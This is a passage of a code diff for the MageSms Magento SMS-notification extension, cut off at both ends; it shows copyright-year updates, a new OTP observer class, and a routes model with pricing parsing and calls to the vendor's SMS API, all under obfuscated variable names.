Mage::app()->saveCache($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0], 'magesms_update_available'); Mage::log("MageSms cron - new version {$i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0]} available"); } else Mage::app()->saveCache('', 'magesms_update_available'); } Mage::app()->saveCache(time(), 'magesms_update_lastcheck'); Mage::getSingleton('magesms/routes')->updatepricelist(); Mage::getSingleton('magesms/exceptions')->updateData(); return $this; } }
app/code/community/Topefekt/Magesms/Model/Optout/Order.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Optout_Order extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/optout_order'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Optout_Order extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/optout_order'); } }
app/code/community/Topefekt/Magesms/Model/Otp/Observer.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_Otp_Observer { public function customersmsGroupsAccount(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { $i7137e40370cf1c5ccf937060891613788203e2d6 = Mage::app()->getRequest()->getParam('mutation'); if (!$i7137e40370cf1c5ccf937060891613788203e2d6) { $i4afc561f2f1a9d59b2c57caedf30ae584beedf17 = Mage::helper('magesms')->getMutations(); foreach ($i4afc561f2f1a9d59b2c57caedf30ae584beedf17 as $i593f9fb6306ab4cdb862f1ef6769504d63647c90) { $i7137e40370cf1c5ccf937060891613788203e2d6 = $i593f9fb6306ab4cdb862f1ef6769504d63647c90['value']; break; } } $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = Mage::helper('magesms')->getHooks('otp', 'customers', $i7137e40370cf1c5ccf937060891613788203e2d6, array('name' => 'customerRegisterOTP')); $i705fa7c9639d497e1179d7d5691c212668a8c9c8 = $iefc930e6dfdf3023610ed7d663c73d176a7544e0['customerRegisterOTP']; $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setGroup('otp'); $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setHideActive(true); $i1791b2d1f89bb2bd83b34046f59125af207713db = new Varien_Data_Form(array( 'class' => 'magesms-otp-status', )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('active_customer', 'radios', array( 'name' => 'active', 'values' => Mage::getSingleton('magesms/system_config_SmsvalidCustomerType')->toOptionArray(), 'value' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getActive(), 'separator' => '<br />' )); $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setCustomForm2($i1791b2d1f89bb2bd83b34046f59125af207713db->getHtml()); $i417760717250c854293598d2ff07a66629a1946d['groups']->addItem(new Varien_Object(array( 'group' => 'otp', 'name' => Mage::helper('magesms')->__('OTP'), 'hooks' => array($i705fa7c9639d497e1179d7d5691c212668a8c9c8->getName() => $i705fa7c9639d497e1179d7d5691c212668a8c9c8) ))); return $this; } public function ordersmsGroupsAccount(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { $i7137e40370cf1c5ccf937060891613788203e2d6 = Mage::app()->getRequest()->getParam('mutation'); if (!$i7137e40370cf1c5ccf937060891613788203e2d6) { $i4afc561f2f1a9d59b2c57caedf30ae584beedf17 = Mage::helper('magesms')->getMutations(); foreach ($i4afc561f2f1a9d59b2c57caedf30ae584beedf17 as $i593f9fb6306ab4cdb862f1ef6769504d63647c90) { $i7137e40370cf1c5ccf937060891613788203e2d6 = $i593f9fb6306ab4cdb862f1ef6769504d63647c90['value']; break; } } $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = Mage::helper('magesms')->getHooks('otp', 'customers', $i7137e40370cf1c5ccf937060891613788203e2d6, array('name' => 'newOrderOTP')); $i705fa7c9639d497e1179d7d5691c212668a8c9c8 = $iefc930e6dfdf3023610ed7d663c73d176a7544e0['newOrderOTP']; $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setGroup('otp'); $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setHideActive(true); $i1791b2d1f89bb2bd83b34046f59125af207713db = new Varien_Data_Form(array( 'class' => 'magesms-otp-status', )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('active_order', 'radios', array( 'name' => 'active', 'values' => Mage::getSingleton('magesms/system_config_SmsvalidOrderType')->toOptionArray(), 'value' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getActive(), 'separator' => '<br />' )); $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setCustomForm2($i1791b2d1f89bb2bd83b34046f59125af207713db->getHtml()); $i417760717250c854293598d2ff07a66629a1946d['groups']->addItem(new Varien_Object(array( 'group' => 'otp', 'name' => Mage::helper('magesms')->__('OTP'), 'hooks' => array($i705fa7c9639d497e1179d7d5691c212668a8c9c8->getName() => $i705fa7c9639d497e1179d7d5691c212668a8c9c8) ))); return $this; } public function checkoutCustomer(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { $i7137e40370cf1c5ccf937060891613788203e2d6 = Mage::app()->getRequest()->getParam('mutation'); if (!$i7137e40370cf1c5ccf937060891613788203e2d6) { $i4afc561f2f1a9d59b2c57caedf30ae584beedf17 = Mage::helper('magesms')->getMutations(); foreach ($i4afc561f2f1a9d59b2c57caedf30ae584beedf17 as $i593f9fb6306ab4cdb862f1ef6769504d63647c90) { $i7137e40370cf1c5ccf937060891613788203e2d6 = $i593f9fb6306ab4cdb862f1ef6769504d63647c90['value']; break; } } $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = Mage::helper('magesms')->getHooks('otp', 'customers', $i7137e40370cf1c5ccf937060891613788203e2d6, array('name' => 'checkoutCustomerOTP')); $i705fa7c9639d497e1179d7d5691c212668a8c9c8 = $iefc930e6dfdf3023610ed7d663c73d176a7544e0['checkoutCustomerOTP']; $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setGroup('otp'); $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setHideActive(true); $i1791b2d1f89bb2bd83b34046f59125af207713db = new Varien_Data_Form(array( 'class' => 'magesms-otp-status', )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('active_checkout', 'radios', array( 'name' => 'active', 'values' => Mage::getSingleton('magesms/system_config_SmsvalidCheckoutType')->toOptionArray(), 'value' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getActive(), 'separator' => '<br />' )); $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setCustomForm2($i1791b2d1f89bb2bd83b34046f59125af207713db->getHtml()); $i417760717250c854293598d2ff07a66629a1946d['groups']->addItem(new Varien_Object(array( 'group' => 'otp', 'name' => Mage::helper('magesms')->__('OTP'), 'hooks' => array($i705fa7c9639d497e1179d7d5691c212668a8c9c8->getName() => $i705fa7c9639d497e1179d7d5691c212668a8c9c8) ))); return $this; } }
app/code/community/Topefekt/Magesms/Model/Overide/Cataloginventory/Stock.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Overide_Cataloginventory_Stock extends Mage_CatalogInventory_Model_Resource_Stock { public function correctItemsQty($i035599939f2d68a8936ff060ff10cbf982274764, $i18f5dd94efe6ea5893731db7537fa44426b4bba8, $i1db7e26fa11aa195a8425de5fe96b99a8a8eda0e = '-') { $i12f98417e3df53ca8bc49671d89c1a89cdceeb8b = array(); foreach($i18f5dd94efe6ea5893731db7537fa44426b4bba8 as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$i3ca4aff6918962dee4a8054ca52f13ef3b6bab08) { $i6e09c956df8f33f0146b262c4774ff2fe53579bd = Mage::getModel('cataloginventory/stock_item')->loadByProduct($i670253c23c6fcba76bc4256a88fdd8fbc1041039); if (Mage::registry('magesms_stock_item_'.$i670253c23c6fcba76bc4256a88fdd8fbc1041039)) Mage::unregister('magesms_stock_item_'.$i670253c23c6fcba76bc4256a88fdd8fbc1041039); Mage::register('magesms_stock_item_'.$i670253c23c6fcba76bc4256a88fdd8fbc1041039, $i6e09c956df8f33f0146b262c4774ff2fe53579bd->getData()); } parent::correctItemsQty($i035599939f2d68a8936ff060ff10cbf982274764, $i18f5dd94efe6ea5893731db7537fa44426b4bba8, $i1db7e26fa11aa195a8425de5fe96b99a8a8eda0e); return $this; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Overide_Cataloginventory_Stock extends Mage_CatalogInventory_Model_Resource_Stock { public function correctItemsQty($i035599939f2d68a8936ff060ff10cbf982274764, $i18f5dd94efe6ea5893731db7537fa44426b4bba8, $i1db7e26fa11aa195a8425de5fe96b99a8a8eda0e = '-') { $i12f98417e3df53ca8bc49671d89c1a89cdceeb8b = array(); foreach($i18f5dd94efe6ea5893731db7537fa44426b4bba8 as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$i3ca4aff6918962dee4a8054ca52f13ef3b6bab08) { $i6e09c956df8f33f0146b262c4774ff2fe53579bd = Mage::getModel('cataloginventory/stock_item')->loadByProduct($i670253c23c6fcba76bc4256a88fdd8fbc1041039); if (Mage::registry('magesms_stock_item_'.$i670253c23c6fcba76bc4256a88fdd8fbc1041039)) Mage::unregister('magesms_stock_item_'.$i670253c23c6fcba76bc4256a88fdd8fbc1041039); Mage::register('magesms_stock_item_'.$i670253c23c6fcba76bc4256a88fdd8fbc1041039, $i6e09c956df8f33f0146b262c4774ff2fe53579bd->getData()); } parent::correctItemsQty($i035599939f2d68a8936ff060ff10cbf982274764, $i18f5dd94efe6ea5893731db7537fa44426b4bba8, $i1db7e26fa11aa195a8425de5fe96b99a8a8eda0e); return $this; } }
app/code/community/Topefekt/Magesms/Model/Ownnumbersender.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Ownnumbersender extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/ownnumbersender'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Ownnumbersender extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/ownnumbersender'); } }
app/code/community/Topefekt/Magesms/Model/Routes.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_Routes extends Mage_Core_Model_Abstract { const SENDER_TEXT = 0; const SENDER_SYSTEM = 1; const SENDER_OWN = 2; const SENDER_SIM = 3; public $displayCode = false; protected function _construct() { $this->_init('magesms/routes'); } public function loadData($i30f20aafde612a957f7f966cb5b85e35782bc88a) { $i5528ed14b056e3debe4695094269de3a98f76fe7 = array(); foreach (Mage::getSingleton('magesms/routes')->getCollection()->addFilter('type', $i30f20aafde612a957f7f966cb5b85e35782bc88a) as $ice10b700e3771fcda63608142bce93b608228583) { $i9bd2c88ca2206122845c5e189e2b6856a2409e3a = Mage::getSingleton('magesms/routes_alternative')->getCollection()->addFieldToFilter('route_id', $ice10b700e3771fcda63608142bce93b608228583->getId()); if ($i9bd2c88ca2206122845c5e189e2b6856a2409e3a->count()) $ice10b700e3771fcda63608142bce93b608228583->setAlternatives($i9bd2c88ca2206122845c5e189e2b6856a2409e3a); $i5528ed14b056e3debe4695094269de3a98f76fe7[] = $ice10b700e3771fcda63608142bce93b608228583; } return $i5528ed14b056e3debe4695094269de3a98f76fe7; } public function getGate($i39404799a9171a012cb8b15cd8f27b347aa44a5f, $i30f20aafde612a957f7f966cb5b85e35782bc88a) { foreach (Mage::getSingleton('magesms/routes')->getCollection()->addFilter('type', $i30f20aafde612a957f7f966cb5b85e35782bc88a) as $ice10b700e3771fcda63608142bce93b608228583) { if (preg_match('/^'.$ice10b700e3771fcda63608142bce93b608228583->getArea().'/', $i39404799a9171a012cb8b15cd8f27b347aa44a5f)) { return $ice10b700e3771fcda63608142bce93b608228583; } } return Mage::getSingleton('magesms/routes'); } public function getInfo() { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array('payment' => array(), 'dph' => null, 'sms' => array()); $i107ca03708f38d42ec504f51f62355fc45d87e69 = explode("%",$this->getData('info')); $i6048c89aa6f25872dad4b719d7b6d821cac48774 = explode("_",$i107ca03708f38d42ec504f51f62355fc45d87e69[0]); $i8e506de2f16bb925ad71fe7bfd4757aeec48a809 = explode(";",$i6048c89aa6f25872dad4b719d7b6d821cac48774[0]); $i9fb8b58187be1d03efeb03cbaa24d23651e7360e = explode(";",$i6048c89aa6f25872dad4b719d7b6d821cac48774[1]); $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][0] = explode(":",$i9fb8b58187be1d03efeb03cbaa24d23651e7360e[0]); $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][1] = explode(":",$i9fb8b58187be1d03efeb03cbaa24d23651e7360e[1]); $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][2] = explode(":",$i9fb8b58187be1d03efeb03cbaa24d23651e7360e[2]); $ia61712c27ea241bd7a543dc2b02ea572274d0322['dph'] = $i107ca03708f38d42ec504f51f62355fc45d87e69[1]; for($i039030c921e1cb0961cdfe7905a8744d586dd8f5=0;$i039030c921e1cb0961cdfe7905a8744d586dd8f5<count($i8e506de2f16bb925ad71fe7bfd4757aeec48a809);$i039030c921e1cb0961cdfe7905a8744d586dd8f5++){ $ie61606c2d8de1e806ab2adf90e40cc4bb671be43 = explode("|",$i8e506de2f16bb925ad71fe7bfd4757aeec48a809[$i039030c921e1cb0961cdfe7905a8744d586dd8f5]); if($ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==1 || $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==2 || $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==4) { $ia61712c27ea241bd7a543dc2b02ea572274d0322['sms'][0][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[0]][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[1]] = array( 'credit' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay1' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][0][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay2' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][1][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay3' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][2][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'unicode' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[4]); } if($ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==3) { $ia61712c27ea241bd7a543dc2b02ea572274d0322['sms'][1][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[0]][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[1]] = array( 'credit' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay1' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][0][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay2' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][1][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay3' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][2][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'unicode' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[4]); } if($ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==1 || $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==2 || $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==5) { $ia61712c27ea241bd7a543dc2b02ea572274d0322['sms'][2][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[0]][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[1]] = array( 'credit' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay1' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][0][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay2' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][1][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay3' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][2][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'unicode' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[4]); } if($ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==10) { $ia61712c27ea241bd7a543dc2b02ea572274d0322['sms'][3][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[0]][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[1]] = array( 'credit' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay1' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][0][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay2' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][1][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay3' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][2][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'unicode' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[4]); } } return $ia61712c27ea241bd7a543dc2b02ea572274d0322; } public function _beforeSave() { $i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getModel('magesms/smsprofile'); $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=dost&username='.urlencode($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->user).'&password='.urlencode($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->passwd).'&area='.urlencode($this->getArea()).'&currency='.$i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->currency; $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 && !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { $this->setInfo($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['datasrc']); } return parent::_beforeSave(); } public function _beforeDelete() { $i9bd2c88ca2206122845c5e189e2b6856a2409e3a = Mage::getModel('magesms/routes_alternative')->getCollection()->addFieldToFilter('route_id', $this->getId()); foreach($i9bd2c88ca2206122845c5e189e2b6856a2409e3a as $ida3b491904fb073f446bf820cd55a0ff69b347d1) $ida3b491904fb073f446bf820cd55a0ff69b347d1->delete(); return parent::_beforeDelete(); } public function validate($ia2537252e3e7dbac0ba1e1693e8531161842da87 = false) { $ieeea3fa58a065e13acdb42aab551831a98e9444c = array(); $i0d09b2a4f282150bf47b02f9f3d82586fe313844 = Mage::helper('magesms'); if ($this->getSendertype() == Topefekt_Magesms_Model_Routes::SENDER_TEXT && $ia2537252e3e7dbac0ba1e1693e8531161842da87 !== false) { if (!Zend_Validate::is($this->getData('senderID'), 'NotEmpty')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('possible characters: ').'a-z A-Z 0-9 _ .'; } elseif (!Mage::helper('magesms')->isTextSender($this->getData('senderID'))) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('possible characters: ').'a-z A-Z 0-9 _ .'; } } if (empty($ieeea3fa58a065e13acdb42aab551831a98e9444c)) { return true; } return $ieeea3fa58a065e13acdb42aab551831a98e9444c; } public function updatepricelist() { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = $this->getCollection(); foreach($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec as $ice10b700e3771fcda63608142bce93b608228583) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->save(); } return $this; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Model_Routes extends Mage_Core_Model_Abstract { const SENDER_TEXT = 0; const SENDER_SYSTEM = 1; const SENDER_OWN = 2; const SENDER_SIM = 3; public $displayCode = false; protected function _construct() { $this->_init('magesms/routes'); } public function loadData($i30f20aafde612a957f7f966cb5b85e35782bc88a) { $i5528ed14b056e3debe4695094269de3a98f76fe7 = array(); foreach (Mage::getSingleton('magesms/routes')->getCollection()->addFilter('type', $i30f20aafde612a957f7f966cb5b85e35782bc88a) as $ice10b700e3771fcda63608142bce93b608228583) { $i9bd2c88ca2206122845c5e189e2b6856a2409e3a = Mage::getSingleton('magesms/routes_alternative')->getCollection()->addFieldToFilter('route_id', $ice10b700e3771fcda63608142bce93b608228583->getId()); if ($i9bd2c88ca2206122845c5e189e2b6856a2409e3a->count()) $ice10b700e3771fcda63608142bce93b608228583->setAlternatives($i9bd2c88ca2206122845c5e189e2b6856a2409e3a); $i5528ed14b056e3debe4695094269de3a98f76fe7[] = $ice10b700e3771fcda63608142bce93b608228583; } return $i5528ed14b056e3debe4695094269de3a98f76fe7; } public function getGate($i39404799a9171a012cb8b15cd8f27b347aa44a5f, $i30f20aafde612a957f7f966cb5b85e35782bc88a) { foreach (Mage::getSingleton('magesms/routes')->getCollection()->addFilter('type', $i30f20aafde612a957f7f966cb5b85e35782bc88a) as $ice10b700e3771fcda63608142bce93b608228583) { if (preg_match('/^'.$ice10b700e3771fcda63608142bce93b608228583->getArea().'/', $i39404799a9171a012cb8b15cd8f27b347aa44a5f)) { return $ice10b700e3771fcda63608142bce93b608228583; } } return Mage::getSingleton('magesms/routes'); } public function getInfo() { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array('payment' => array(), 'dph' => null, 'sms' => array()); $i107ca03708f38d42ec504f51f62355fc45d87e69 = explode("%",$this->getData('info')); $i6048c89aa6f25872dad4b719d7b6d821cac48774 = explode("_",$i107ca03708f38d42ec504f51f62355fc45d87e69[0]); $i8e506de2f16bb925ad71fe7bfd4757aeec48a809 = explode(";",$i6048c89aa6f25872dad4b719d7b6d821cac48774[0]); $i9fb8b58187be1d03efeb03cbaa24d23651e7360e = explode(";",$i6048c89aa6f25872dad4b719d7b6d821cac48774[1]); $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][0] = explode(":",$i9fb8b58187be1d03efeb03cbaa24d23651e7360e[0]); $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][1] = explode(":",$i9fb8b58187be1d03efeb03cbaa24d23651e7360e[1]); $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][2] = explode(":",$i9fb8b58187be1d03efeb03cbaa24d23651e7360e[2]); $ia61712c27ea241bd7a543dc2b02ea572274d0322['dph'] = $i107ca03708f38d42ec504f51f62355fc45d87e69[1]; for($i039030c921e1cb0961cdfe7905a8744d586dd8f5=0;$i039030c921e1cb0961cdfe7905a8744d586dd8f5<count($i8e506de2f16bb925ad71fe7bfd4757aeec48a809);$i039030c921e1cb0961cdfe7905a8744d586dd8f5++){ $ie61606c2d8de1e806ab2adf90e40cc4bb671be43 = explode("|",$i8e506de2f16bb925ad71fe7bfd4757aeec48a809[$i039030c921e1cb0961cdfe7905a8744d586dd8f5]); if($ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==1 || $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==2 || $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==4) { $ia61712c27ea241bd7a543dc2b02ea572274d0322['sms'][0][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[0]][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[1]] = array( 'credit' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay1' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][0][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay2' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][1][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay3' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][2][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'unicode' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[4]); } if($ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==3) { $ia61712c27ea241bd7a543dc2b02ea572274d0322['sms'][1][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[0]][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[1]] = array( 'credit' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay1' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][0][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay2' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][1][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay3' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][2][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'unicode' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[4]); } if($ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==1 || $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==2 || $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==5) { $ia61712c27ea241bd7a543dc2b02ea572274d0322['sms'][2][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[0]][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[1]] = array( 'credit' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay1' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][0][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay2' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][1][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay3' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][2][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'unicode' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[4]); } if($ie61606c2d8de1e806ab2adf90e40cc4bb671be43[3]==10) { $ia61712c27ea241bd7a543dc2b02ea572274d0322['sms'][3][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[0]][$ie61606c2d8de1e806ab2adf90e40cc4bb671be43[1]] = array( 'credit' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay1' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][0][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay2' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][1][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'pay3' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['payment'][2][1] * $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[2], 'unicode' => $ie61606c2d8de1e806ab2adf90e40cc4bb671be43[4]); } } return $ia61712c27ea241bd7a543dc2b02ea572274d0322; } public function _beforeSave() { $i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getModel('magesms/smsprofile'); $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=dost&username='.urlencode($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->user).'&password='.urlencode($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->passwd).'&area='.urlencode($this->getArea()).'&currency='.$i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->currency; 